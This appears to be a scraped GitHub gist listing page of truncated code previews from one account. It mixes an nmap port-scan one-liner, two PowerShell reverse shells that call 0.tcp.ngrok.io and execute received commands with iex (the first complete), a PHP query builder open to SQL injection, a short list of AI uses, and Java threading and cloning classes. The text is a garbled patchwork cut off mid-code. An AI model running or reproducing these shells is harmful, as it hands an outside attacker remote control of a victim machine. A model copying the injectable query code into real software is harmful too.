ports=$(nmap -p- --min-rate=1000 -T4 ip | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p$ports ip
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#$1 file with links retrieved by the history ending in .aspx | |
# also try filename.cs.aspx | |
i=0 | |
mkdir out | |
for l in $(cat $1) | |
do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$client = New-Object System.Net.Sockets.TCPClient("0.tcp.ngrok.io",11251);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$socket = new-object System.Net.Sockets.TcpClient('0.tcp.ngrok.io', 11349); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do | |
{ | |
$writer.Flush(); | |
$read = $null; |
https://www.youtube.com/watch?v=JMUxmLyrhSk
- google reccomendation
- analyze legal documents J.P Morgan
- IBM Watson medical technology
- self driving
- tweet emotional recognition
- ...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function getCountByField($year,$field,$interessato_a = ''){ | |
$acceptable = ["citta","provincia" ,"source_potential" ,"campagna" ]; | |
if(in_array($acceptable,strtolower($field))){ | |
$whereClause = ($interessato_a == '') ? '' : " and interessato_a = ".$interessato_a; | |
return GQD('fl_leads_hrc',$field.", count(*) as cnt ","year(data_creazione) = ".$year." ".$whereClause." GROUP BY ".$field); | |
}else{ | |
return null; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class SimpleThreadExRun implements Runnable { | |
private static int ThreadCounter = 0; | |
private int seriesCounter = 0; | |
private int lastNumber; | |
private int ThreadId; | |
public SimpleThreadExRun(int value){ | |
ThreadId = ThreadCounter ++; | |
seriesCounter = value; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class SimpleThreadEx extends Thread { | |
private static int ThreadCounter = 0; | |
private int seriesCounter = 0; | |
private int lastNumber; | |
private int ThreadId; | |
public SimpleThreadEx(int value){ | |
ThreadId = ThreadCounter ++; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Course implements Cloneable | |
{ | |
String subject1; | |
String subject2; | |
String subject3; | |
public Course(String sub1, String sub2, String sub3) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Course | |
{ | |
String subject1; | |
String subject2; | |
String subject3; | |
public Course(String sub1, String sub2, String sub3) | |
{ |
NewerOlder